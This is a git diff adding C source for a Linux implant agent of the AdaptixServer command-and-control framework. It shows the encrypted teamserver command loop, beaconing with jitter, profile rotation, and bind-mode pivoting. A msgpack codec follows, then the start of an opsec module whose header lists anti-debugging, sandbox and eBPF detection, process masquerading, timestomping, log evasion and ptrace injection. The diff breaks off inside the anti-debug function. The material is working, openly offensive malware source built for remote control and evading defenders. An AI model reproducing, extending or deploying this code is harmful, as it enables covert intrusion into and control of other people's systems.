+ uint8_t* plaintext = (uint8_t*)0;
+ const uint8_t** objects = (const uint8_t**)0;
+ uint32_t* obj_sizes = (uint32_t*)0;
+ uint32_t obj_count = 0;
+
+ if (poll_ret == 0 && recv_data && recv_len > 0) {
+ // Decrypt with session key
+ size_t plain_len;
+ plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len);
+ ax_free(recv_data);
+ recv_data = (uint8_t*)0;
+ if (!plaintext) return -1;
+
+ // Parse Message
+ int8_t msg_type = 0;
+
+ if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) {
+ ax_free(plaintext);
+ return -1;
+ }
+
+ if (msg_type == 1 && obj_count > 0) {
+ for (uint32_t i = 0; i < obj_count; i++) {
+ uint32_t code = 0, cmd_id = 0;
+ const uint8_t* cmd_data = (const uint8_t*)0;
+ uint32_t cmd_data_len = 0;
+ parse_command(objects[i], obj_sizes[i],
+ &code, &cmd_id, &cmd_data, &cmd_data_len);
+
+ mp_writer_t cmd_resp;
+ mp_writer_init(&cmd_resp, 256);
+
+ int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp);
+ if (ret == -99) ACTIVE = 0;
+
+ // Wrap response in Command{code, id, data}
+ mp_writer_t wrapped;
+ mp_writer_init(&wrapped, 256);
+ mp_write_map(&wrapped, 3);
+ mp_write_kv_uint(&wrapped, "code", code);
+ mp_write_kv_uint(&wrapped, "id", cmd_id);
+ mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len);
+
+ mp_write_bin(&obj_collector, wrapped.buf.data, (uint32_t)wrapped.buf.len);
+ mp_writer_free(&cmd_resp);
+ mp_writer_free(&wrapped);
+ resp_count++;
+ }
+ }
+ } else if (poll_ret == 0 && recv_len == 0) {
+ // Received empty heartbeat from teamserver (len=0 msg)
+ ax_free(recv_data);
+ recv_data = (uint8_t*)0;
+ }
+ // poll_ret == 1: timeout, no data from teamserver
+
+ // ALWAYS poll active pivots and tunnels
+ resp_count += (uint32_t)process_pivots(&g_pivot_ctx, &obj_collector);
+ resp_count += (uint32_t)process_tunnels(&obj_collector);
+
+ // Send response if we have data OR if we received a message from teamserver
+ int must_respond = (poll_ret == 0);
+ if (resp_count > 0 || must_respond) {
+ mp_writer_t msg_writer;
+ mp_writer_init(&msg_writer, 1024);
+ mp_write_map(&msg_writer, 2);
+
+ if (resp_count > 0) {
+ mp_write_kv_int(&msg_writer, "type", 1);
+ mp_write_str(&msg_writer, "object", 6);
+ mp_write_array(&msg_writer, resp_count);
+ buf_append(&msg_writer.buf, obj_collector.buf.data, obj_collector.buf.len);
+ } else {
+ mp_write_kv_int(&msg_writer, "type", 0);
+ mp_write_str(&msg_writer, "object", 6);
+ mp_write_array(&msg_writer, 0);
+ }
+
+ size_t enc_len;
+ uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len,
+ session_key, &enc_len);
+ mp_writer_free(&msg_writer);
+
+ if (encrypted) {
+ if (conn_send_msg(conn, encrypted, enc_len) != 0) {
+ ax_free(encrypted);
+ mp_writer_free(&obj_collector);
+ if (objects) ax_free((void*)objects);
+ if (obj_sizes) ax_free(obj_sizes);
+ if (plaintext) ax_free(plaintext);
+ return -1;
+ }
+ ax_free(encrypted);
+ }
+ }
+ mp_writer_free(&obj_collector);
+
+ // Cleanup
+ if (objects) ax_free((void*)objects);
+ if (obj_sizes) ax_free(obj_sizes);
+ if (plaintext) ax_free(plaintext);
+ if (recv_data) ax_free(recv_data);
+ }
+ return 0;
+}
+
+static int agent_main(void) {
+ // OPSEC checks — abort if hostile environment detected
+#ifdef OPSEC_ENABLED
+ if (opsec_check() != 0) return 1;
+#endif
+
+ // ELF resolver — resolve libc APIs by hash (SO mode only)
+#ifdef BUILD_SO
+ if (elf_resolver_init() != 0) return 1;
+#endif
+
+ // Decode profiles from config
+ profile_t profiles[8];
+ uint32_t profile_count = 0;
+
+#if PROFILE_COUNT > 0
+ for (int i = 0; i < PROFILE_COUNT && i < 8; i++) {
+ if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) {
+ profile_count++;
+ }
+ }
+#endif
+
+ if (profile_count == 0) return 1;
+
+ // Create session info
+ mp_writer_t si_writer;
+ mp_writer_init(&si_writer, 512);
+ uint8_t session_key[16];
+ if (create_session_info(&si_writer, session_key) != 0) return 1;
+
+ // Generate random agent ID
+ uint8_t id_buf[4];
+ ax_random_bytes(id_buf, 4);
+ uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) |
+ ((uint32_t)id_buf[2] << 8) | id_buf[3];
+
+ // Keep session info for reuse across profile rotations
+ uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len);
+ size_t session_info_len = si_writer.buf.len;
+ ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len);
+ mp_writer_free(&si_writer);
+
+ // Initialize job context for async operations (stubs for Phase 1)
+ jobs_init(&g_job_ctx);
+ g_job_ctx.agent_id = agent_id;
+ ax_memcpy(g_job_ctx.session_key, session_key, 16);
+
+ // Initialize pivot context for TCP relay
+ pivots_init(&g_pivot_ctx);
+
+ // Build init message
+ uint32_t prof_idx = 0;
+ profile_t* prof = &profiles[prof_idx];
+
+ uint8_t* init_msg = (uint8_t*)0;
+ size_t init_msg_len = 0;
+ build_init_msg(agent_id, prof->type,
+ prof->listener_watermark,
+ session_info_data, session_info_len,
+ prof->enc_key,
+ &init_msg, &init_msg_len);
+
+ if (!init_msg) { ax_free(session_info_data); return 1; }
+
+ if (prof->bind_port > 0) {
+ // ======== BIND TCP MODE ========
+ // Agent listens on a port, parent connects to us.
+ // Used for pivot: beacon parent → "link tcp " → this agent.
+ connector_t server;
+ if (conn_bind_listen(&server, prof->bind_port) != 0) {
+ ax_free(init_msg);
+ ax_free(session_info_data);
+ for (uint32_t i = 0; i < profile_count; i++)
+ free_profile(&profiles[i]);
+ return 1;
+ }
+
+ // Accept loop — re-accept if connection drops
+ while (ACTIVE) {
+ connector_t conn;
+ if (conn_accept(&conn, &server) != 0) continue;
+
+ // Send init message (watermark + encrypted beat)
+ if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) {
+ conn_close(&conn);
+ continue;
+ }
+
+ // Enter command loop (shared with client TCP mode)
+ command_loop(&conn, session_key);
+
+ conn_close(&conn);
+ }
+
+ conn_close(&server);
+ } else {
+ // ======== CLIENT TCP MODE ========
+ // Agent connects out to teamserver addresses.
+ uint32_t addr_idx = 0;
+
+ for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) {
+ if (attempt > 0) {
+ // Bidirectional jitter: ±20% of conn_timeout
+ unsigned int base_sleep = (unsigned int)prof->conn_timeout;
+ if (base_sleep > 2) {
+ uint8_t rnd[4];
+ ax_random_bytes(rnd, 4);
+ uint32_t rval = ((uint32_t)rnd[0] << 24) | ((uint32_t)rnd[1] << 16) |
+ ((uint32_t)rnd[2] << 8) | rnd[3];
+ unsigned int jitter_range = (base_sleep * 40) / 100;
+ unsigned int delta = rval % (jitter_range + 1);
+ unsigned int half = jitter_range / 2;
+ if (base_sleep > half)
+ base_sleep = base_sleep - half + delta;
+ }
+ sys_sleep(base_sleep);
+ addr_idx++;
+ if (addr_idx >= prof->addr_count) {
+ addr_idx = 0;
+ prof_idx = (prof_idx + 1) % profile_count;
+ prof = &profiles[prof_idx];
+
+ ax_free(init_msg);
+ build_init_msg(agent_id, prof->type,
+ prof->listener_watermark,
+ session_info_data, session_info_len,
+ prof->enc_key,
+ &init_msg, &init_msg_len);
+ }
+ }
+
+ // Update job context with current connection info
+ jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx],
+ prof->banner_size, prof->enc_key, prof->type);
+
+ // Connect
+ connector_t conn;
+ if (conn_open(&conn, prof->addresses[addr_idx]) != 0) continue;
+
+ // Reset attempt counter on successful connect
+ attempt = 0;
+
+ // Read banner
+ if (prof->banner_size > 0) {
+ if (conn_discard(&conn, (size_t)prof->banner_size) != 0) {
+ conn_close(&conn);
+ continue;
+ }
+ }
+
+ // Send init
+ if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) {
+ conn_close(&conn);
+ continue;
+ }
+
+ // Enter command loop (shared with bind TCP mode)
+ command_loop(&conn, session_key);
+
+ conn_close(&conn);
+ }
+ }
+
+ // Cleanup
+ ax_free(init_msg);
+ ax_free(session_info_data);
+ for (uint32_t i = 0; i < profile_count; i++)
+ free_profile(&profiles[i]);
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c
new file mode 100644
index 000000000..7dea1e589
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c
@@ -0,0 +1,512 @@
+#include "msgpack.h"
+
+/// ---- Writer ----
+
+int mp_writer_init(mp_writer_t* w, size_t cap) {
+ buf_init(&w->buf, (int)cap);
+ return 0;
+}
+
+void mp_writer_free(mp_writer_t* w) {
+ buf_free(&w->buf);
+}
+
+static int write_byte(mp_writer_t* w, uint8_t b) {
+ buf_append(&w->buf, &b, 1);
+ return 0;
+}
+
+static int write_bytes(mp_writer_t* w, const void* data, size_t len) {
+ buf_append(&w->buf, data, (int)len);
+ return 0;
+}
+
+static int write_u16_be(mp_writer_t* w, uint16_t val) {
+ uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val };
+ return write_bytes(w, b, 2);
+}
+
+static int write_u32_be(mp_writer_t* w, uint32_t val) {
+ uint8_t b[4] = {
+ (uint8_t)(val >> 24), (uint8_t)(val >> 16),
+ (uint8_t)(val >> 8), (uint8_t)val
+ };
+ return write_bytes(w, b, 4);
+}
+
+int mp_write_map(mp_writer_t* w, uint32_t count) {
+ if (count <= 15) {
+ return write_byte(w, 0x80 | (uint8_t)count);
+ } else if (count <= 0xFFFF) {
+ if (write_byte(w, 0xDE)) return -1;
+ return write_u16_be(w, (uint16_t)count);
+ } else {
+ if (write_byte(w, 0xDF)) return -1;
+ return write_u32_be(w, count);
+ }
+}
+
+int mp_write_array(mp_writer_t* w, uint32_t count) {
+ if (count <= 15) {
+ return write_byte(w, 0x90 | (uint8_t)count);
+ } else if (count <= 0xFFFF) {
+ if (write_byte(w, 0xDC)) return -1;
+ return write_u16_be(w, (uint16_t)count);
+ } else {
+ if (write_byte(w, 0xDD)) return -1;
+ return write_u32_be(w, count);
+ }
+}
+
+int mp_write_nil(mp_writer_t* w) {
+ return write_byte(w, 0xC0);
+}
+
+int mp_write_bool(mp_writer_t* w, bool val) {
+ return write_byte(w, val ? 0xC3 : 0xC2);
+}
+
+int mp_write_uint(mp_writer_t* w, uint64_t val) {
+ if (val <= 0x7F) {
+ return write_byte(w, (uint8_t)val);
+ } else if (val <= 0xFF) {
+ if (write_byte(w, 0xCC)) return -1;
+ return write_byte(w, (uint8_t)val);
+ } else if (val <= 0xFFFF) {
+ if (write_byte(w, 0xCD)) return -1;
+ return write_u16_be(w, (uint16_t)val);
+ } else if (val <= 0xFFFFFFFF) {
+ if (write_byte(w, 0xCE)) return -1;
+ return write_u32_be(w, (uint32_t)val);
+ } else {
+ if (write_byte(w, 0xCF)) return -1;
+ uint8_t b[8] = {
+ (uint8_t)(val >> 56), (uint8_t)(val >> 48),
+ (uint8_t)(val >> 40), (uint8_t)(val >> 32),
+ (uint8_t)(val >> 24), (uint8_t)(val >> 16),
+ (uint8_t)(val >> 8), (uint8_t)val
+ };
+ return write_bytes(w, b, 8);
+ }
+}
+
+int mp_write_int(mp_writer_t* w, int64_t val) {
+ if (val >= 0) {
+ return mp_write_uint(w, (uint64_t)val);
+ }
+ if (val >= -32) {
+ return write_byte(w, (uint8_t)(val & 0xFF));
+ } else if (val >= -128) {
+ if (write_byte(w, 0xD0)) return -1;
+ return write_byte(w, (uint8_t)(val & 0xFF));
+ } else if (val >= -32768) {
+ if (write_byte(w, 0xD1)) return -1;
+ return write_u16_be(w, (uint16_t)(val & 0xFFFF));
+ } else if (val >= -2147483648LL) {
+ if (write_byte(w, 0xD2)) return -1;
+ return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF));
+ } else {
+ if (write_byte(w, 0xD3)) return -1;
+ uint64_t uval = (uint64_t)val;
+ uint8_t b[8] = {
+ (uint8_t)(uval >> 56), (uint8_t)(uval >> 48),
+ (uint8_t)(uval >> 40), (uint8_t)(uval >> 32),
+ (uint8_t)(uval >> 24), (uint8_t)(uval >> 16),
+ (uint8_t)(uval >> 8), (uint8_t)uval
+ };
+ return write_bytes(w, b, 8);
+ }
+}
+
+int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) {
+ if (len <= 31) {
+ if (write_byte(w, 0xA0 | (uint8_t)len)) return -1;
+ } else if (len <= 0xFF) {
+ if (write_byte(w, 0xD9)) return -1;
+ if (write_byte(w, (uint8_t)len)) return -1;
+ } else if (len <= 0xFFFF) {
+ if (write_byte(w, 0xDA)) return -1;
+ if (write_u16_be(w, (uint16_t)len)) return -1;
+ } else {
+ if (write_byte(w, 0xDB)) return -1;
+ if (write_u32_be(w, len)) return -1;
+ }
+ if (len > 0) {
+ return write_bytes(w, str, len);
+ }
+ return 0;
+}
+
+int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) {
+ if (len <= 0xFF) {
+ if (write_byte(w, 0xC4)) return -1;
+ if (write_byte(w, (uint8_t)len)) return -1;
+ } else if (len <= 0xFFFF) {
+ if (write_byte(w, 0xC5)) return -1;
+ if (write_u16_be(w, (uint16_t)len)) return -1;
+ } else {
+ if (write_byte(w, 0xC6)) return -1;
+ if (write_u32_be(w, len)) return -1;
+ }
+ if (len > 0) {
+ return write_bytes(w, data, len);
+ }
+ return 0;
+}
+
+int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0;
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_str(w, val ? val : "", vlen);
+}
+
+int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_bin(w, data, len);
+}
+
+int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_uint(w, val);
+}
+
+int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_int(w, val);
+}
+
+int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) {
+ uint32_t klen = (uint32_t)ax_strlen(key);
+ if (mp_write_str(w, key, klen)) return -1;
+ return mp_write_bool(w, val);
+}
+
+/// ---- Reader ----
+
+void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) {
+ r->data = data;
+ r->len = len;
+ r->pos = 0;
+}
+
+static int read_byte(mp_reader_t* r, uint8_t* b) {
+ if (r->pos >= r->len) return -1;
+ *b = r->data[r->pos++];
+ return 0;
+}
+
+static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) {
+ if (r->pos + len > r->len) return -1;
+ *out = r->data + r->pos;
+ r->pos += len;
+ return 0;
+}
+
+static uint16_t read_u16_be(const uint8_t* p) {
+ return ((uint16_t)p[0] << 8) | p[1];
+}
+
+static uint32_t read_u32_be(const uint8_t* p) {
+ return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) |
+ ((uint32_t)p[2] << 8) | p[3];
+}
+
+static uint64_t read_u64_be(const uint8_t* p) {
+ return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) |
+ ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |
+ ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) |
+ ((uint64_t)p[6] << 8) | p[7];
+}
+
+uint8_t mp_peek_type(mp_reader_t* r) {
+ if (r->pos >= r->len) return 0;
+ return r->data[r->pos];
+}
+
+int mp_read_map(mp_reader_t* r, uint32_t* count) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if ((b & 0xF0) == 0x80) {
+ *count = b & 0x0F;
+ return 0;
+ } else if (b == 0xDE) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *count = read_u16_be(p);
+ return 0;
+ } else if (b == 0xDF) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *count = read_u32_be(p);
+ return 0;
+ }
+ return -1;
+}
+
+int mp_read_array(mp_reader_t* r, uint32_t* count) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if ((b & 0xF0) == 0x90) {
+ *count = b & 0x0F;
+ return 0;
+ } else if (b == 0xDC) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *count = read_u16_be(p);
+ return 0;
+ } else if (b == 0xDD) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *count = read_u32_be(p);
+ return 0;
+ }
+ return -1;
+}
+
+int mp_read_nil(mp_reader_t* r) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ return (b == 0xC0) ? 0 : -1;
+}
+
+int mp_read_bool(mp_reader_t* r, bool* val) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if (b == 0xC3) { *val = true; return 0; }
+ if (b == 0xC2) { *val = false; return 0; }
+ return -1;
+}
+
+int mp_read_uint(mp_reader_t* r, uint64_t* val) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if (b <= 0x7F) {
+ *val = b;
+ return 0;
+ }
+ const uint8_t* p;
+ switch (b) {
+ case 0xCC:
+ if (read_byte(r, &b)) return -1;
+ *val = b;
+ return 0;
+ case 0xCD:
+ if (read_bytes(r, &p, 2)) return -1;
+ *val = read_u16_be(p);
+ return 0;
+ case 0xCE:
+ if (read_bytes(r, &p, 4)) return -1;
+ *val = read_u32_be(p);
+ return 0;
+ case 0xCF:
+ if (read_bytes(r, &p, 8)) return -1;
+ *val = read_u64_be(p);
+ return 0;
+ default:
+ return -1;
+ }
+}
+
+int mp_read_int(mp_reader_t* r, int64_t* val) {
+ uint8_t b = mp_peek_type(r);
+ if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) {
+ uint64_t uval;
+ if (mp_read_uint(r, &uval)) return -1;
+ *val = (int64_t)uval;
+ return 0;
+ }
+ if ((b & 0xE0) == 0xE0) {
+ read_byte(r, &b);
+ *val = (int8_t)b;
+ return 0;
+ }
+ read_byte(r, &b);
+ const uint8_t* p;
+ switch (b) {
+ case 0xD0:
+ if (read_byte(r, &b)) return -1;
+ *val = (int8_t)b;
+ return 0;
+ case 0xD1:
+ if (read_bytes(r, &p, 2)) return -1;
+ *val = (int16_t)read_u16_be(p);
+ return 0;
+ case 0xD2:
+ if (read_bytes(r, &p, 4)) return -1;
+ *val = (int32_t)read_u32_be(p);
+ return 0;
+ case 0xD3:
+ if (read_bytes(r, &p, 8)) return -1;
+ *val = (int64_t)read_u64_be(p);
+ return 0;
+ default:
+ return -1;
+ }
+}
+
+int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if ((b & 0xE0) == 0xA0) {
+ *len = b & 0x1F;
+ } else if (b == 0xD9) {
+ uint8_t l;
+ if (read_byte(r, &l)) return -1;
+ *len = l;
+ } else if (b == 0xDA) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *len = read_u16_be(p);
+ } else if (b == 0xDB) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *len = read_u32_be(p);
+ } else {
+ return -1;
+ }
+ const uint8_t* p;
+ if (*len > 0) {
+ if (read_bytes(r, &p, *len)) return -1;
+ *str = (const char*)p;
+ } else {
+ *str = "";
+ }
+ return 0;
+}
+
+int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if (b == 0xC4) {
+ uint8_t l;
+ if (read_byte(r, &l)) return -1;
+ *len = l;
+ } else if (b == 0xC5) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 2)) return -1;
+ *len = read_u16_be(p);
+ } else if (b == 0xC6) {
+ const uint8_t* p;
+ if (read_bytes(r, &p, 4)) return -1;
+ *len = read_u32_be(p);
+ } else {
+ return -1;
+ }
+ if (*len > 0) {
+ if (read_bytes(r, data, *len)) return -1;
+ } else {
+ *data = (const uint8_t*)0;
+ }
+ return 0;
+}
+
+int mp_skip(mp_reader_t* r) {
+ uint8_t b;
+ if (read_byte(r, &b)) return -1;
+ if (b <= 0x7F) return 0;
+ if ((b & 0xE0) == 0xE0) return 0;
+ if ((b & 0xF0) == 0x80) {
+ uint32_t count = b & 0x0F;
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ if ((b & 0xF0) == 0x90) {
+ uint32_t count = b & 0x0F;
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ if ((b & 0xE0) == 0xA0) {
+ uint32_t len = b & 0x1F;
+ r->pos += len;
+ return (r->pos <= r->len) ? 0 : -1;
+ }
+ const uint8_t* p;
+ switch (b) {
+ case 0xC0: case 0xC2: case 0xC3: return 0;
+ case 0xCC: r->pos += 1; break;
+ case 0xCD: r->pos += 2; break;
+ case 0xCE: r->pos += 4; break;
+ case 0xCF: r->pos += 8; break;
+ case 0xD0: r->pos += 1; break;
+ case 0xD1: r->pos += 2; break;
+ case 0xD2: r->pos += 4; break;
+ case 0xD3: r->pos += 8; break;
+ case 0xCA: r->pos += 4; break;
+ case 0xCB: r->pos += 8; break;
+ case 0xC4:
+ if (read_byte(r, &b)) return -1;
+ r->pos += b;
+ break;
+ case 0xC5:
+ if (read_bytes(r, &p, 2)) return -1;
+ r->pos += read_u16_be(p);
+ break;
+ case 0xC6:
+ if (read_bytes(r, &p, 4)) return -1;
+ r->pos += read_u32_be(p);
+ break;
+ case 0xD9:
+ if (read_byte(r, &b)) return -1;
+ r->pos += b;
+ break;
+ case 0xDA:
+ if (read_bytes(r, &p, 2)) return -1;
+ r->pos += read_u16_be(p);
+ break;
+ case 0xDB:
+ if (read_bytes(r, &p, 4)) return -1;
+ r->pos += read_u32_be(p);
+ break;
+ case 0xDC: {
+ if (read_bytes(r, &p, 2)) return -1;
+ uint32_t count = read_u16_be(p);
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDD: {
+ if (read_bytes(r, &p, 4)) return -1;
+ uint32_t count = read_u32_be(p);
+ for (uint32_t i = 0; i < count; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDE: {
+ if (read_bytes(r, &p, 2)) return -1;
+ uint32_t count = read_u16_be(p);
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ case 0xDF: {
+ if (read_bytes(r, &p, 4)) return -1;
+ uint32_t count = read_u32_be(p);
+ for (uint32_t i = 0; i < count * 2; i++)
+ if (mp_skip(r)) return -1;
+ return 0;
+ }
+ default:
+ return -1;
+ }
+ return (r->pos <= r->len) ? 0 : -1;
+}
+
+int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) {
+ size_t key_len = ax_strlen(key);
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* k;
+ uint32_t klen;
+ if (mp_read_str(r, &k, &klen)) return -1;
+ if (klen == key_len && ax_memcmp(k, key, klen) == 0) {
+ return 0;
+ }
+ if (mp_skip(r)) return -1;
+ }
+ return -1;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h
new file mode 100644
index 000000000..cf63a762b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h
@@ -0,0 +1,54 @@
+#ifndef MSGPACK_H
+#define MSGPACK_H
+
+#include "types.h"
+#include "crt.h"
+
+/// ---- Writer (encoder) ----
+
+typedef struct {
+ buffer_t buf;
+} mp_writer_t;
+
+int mp_writer_init(mp_writer_t *w, size_t cap);
+void mp_writer_free(mp_writer_t *w);
+
+int mp_write_map(mp_writer_t *w, uint32_t count);
+int mp_write_array(mp_writer_t *w, uint32_t count);
+int mp_write_nil(mp_writer_t *w);
+int mp_write_bool(mp_writer_t *w, bool val);
+int mp_write_uint(mp_writer_t *w, uint64_t val);
+int mp_write_int(mp_writer_t *w, int64_t val);
+int mp_write_str(mp_writer_t *w, const char *str, uint32_t len);
+int mp_write_bin(mp_writer_t *w, const uint8_t *data, uint32_t len);
+
+int mp_write_kv_str(mp_writer_t *w, const char *key, const char *val);
+int mp_write_kv_bin(mp_writer_t *w, const char *key, const uint8_t *data, uint32_t len);
+int mp_write_kv_uint(mp_writer_t *w, const char *key, uint64_t val);
+int mp_write_kv_int(mp_writer_t *w, const char *key, int64_t val);
+int mp_write_kv_bool(mp_writer_t *w, const char *key, bool val);
+
+/// ---- Reader (decoder) ----
+
+typedef struct {
+ const uint8_t *data;
+ size_t len;
+ size_t pos;
+} mp_reader_t;
+
+void mp_reader_init(mp_reader_t *r, const uint8_t *data, size_t len);
+uint8_t mp_peek_type(mp_reader_t *r);
+int mp_skip(mp_reader_t *r);
+
+int mp_read_map(mp_reader_t *r, uint32_t *count);
+int mp_read_array(mp_reader_t *r, uint32_t *count);
+int mp_read_nil(mp_reader_t *r);
+int mp_read_bool(mp_reader_t *r, bool *val);
+int mp_read_uint(mp_reader_t *r, uint64_t *val);
+int mp_read_int(mp_reader_t *r, int64_t *val);
+int mp_read_str(mp_reader_t *r, const char **str, uint32_t *len);
+int mp_read_bin(mp_reader_t *r, const uint8_t **data, uint32_t *len);
+
+int mp_find_key_str(mp_reader_t *r, uint32_t map_count, const char *key);
+
+#endif // MSGPACK_H
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c
new file mode 100644
index 000000000..eb3197540
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c
@@ -0,0 +1,883 @@
+/// opsec.c -- OPSEC checks + offensive capabilities for Linux agent
+/// Anti-debug, VM/hypervisor detection, container detection, eBPF detection,
+/// process masquerading, timestomping, log evasion, ptrace injection, memfd migrate
+/// Uses only direct syscalls — zero libc dependency.
+
+#include "opsec.h"
+#include "crt.h"
+#include "types.h"
+#include "strings_obf.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+#define O_RDONLY 0
+#define O_WRONLY 1
+#define O_RDWR 2
+#define O_CREAT 0100
+#define O_TRUNC 01000
+
+#define PTRACE_TRACEME 0
+#define PTRACE_PEEKTEXT 1
+#define PTRACE_POKETEXT 4
+#define PTRACE_GETREGS 12
+#define PTRACE_SETREGS 13
+#define PTRACE_ATTACH 16
+#define PTRACE_DETACH 17
+
+#define PR_SET_NAME 15
+
+#define MFD_CLOEXEC 0x0001U
+
+#ifndef AT_FDCWD
+#define AT_FDCWD -100
+#endif
+
+// BPF commands
+#define BPF_PROG_GET_NEXT_ID 11
+#define BPF_PROG_GET_FD_BY_ID 13
+#define BPF_OBJ_GET_INFO_BY_FD 15
+
+// BPF program types (monitoring-relevant)
+#define BPF_PROG_TYPE_KPROBE 1
+#define BPF_PROG_TYPE_TRACEPOINT 5
+#define BPF_PROG_TYPE_RAW_TRACEPOINT 17
+#define BPF_PROG_TYPE_LSM 29
+
+// ── Helpers ──
+
+/// Read a small file via direct syscall. Returns bytes read, -1 on error.
+static int read_file(const char *path, char *buf, int max_len) {
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) return -1;
+
+ int total = 0;
+ while (total < max_len - 1) {
+ long n = sys_read(fd, buf + total, (size_t)(max_len - 1 - total));
+ if (n <= 0) break;
+ total += (int)n;
+ }
+ buf[total] = '\0';
+ sys_close(fd);
+ return total;
+}
+
+/// Check if a file exists (can be opened)
+static int file_exists(const char *path) {
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) return 0;
+ sys_close(fd);
+ return 1;
+}
+
+/// Case-insensitive substring search in buf
+static int contains_ci(const char *haystack, const char *needle) {
+ if (!*needle) return 1;
+ int nlen = (int)ax_strlen(needle);
+
+ for (; *haystack; haystack++) {
+ int match = 1;
+ for (int i = 0; i < nlen; i++) {
+ char h = haystack[i];
+ char n = needle[i];
+ if (!h) { match = 0; break; }
+ if (h >= 'A' && h <= 'Z') h += 32;
+ if (n >= 'A' && n <= 'Z') n += 32;
+ if (h != n) { match = 0; break; }
+ }
+ if (match) return 1;
+ }
+ return 0;
+}
+
+/// Write all bytes to fd
+static int write_all(int fd, const void *buf, size_t len) {
+ const uint8_t *p = (const uint8_t *)buf;
+ size_t remaining = len;
+ while (remaining > 0) {
+ long n = sys_write(fd, p, remaining);
+ if (n < 0) return -1;
+ p += n;
+ remaining -= (size_t)n;
+ }
+ return 0;
+}
+
+// ══════════════════════════════════════════════════════════════════════
+// Anti-Debug
+// ══════════════════════════════════════════════════════════════════════
+
+int opsec_anti_debug(void) {
+ // 1. Check /proc/self/status for TracerPid (non-invasive)
+ char _path_status[64];
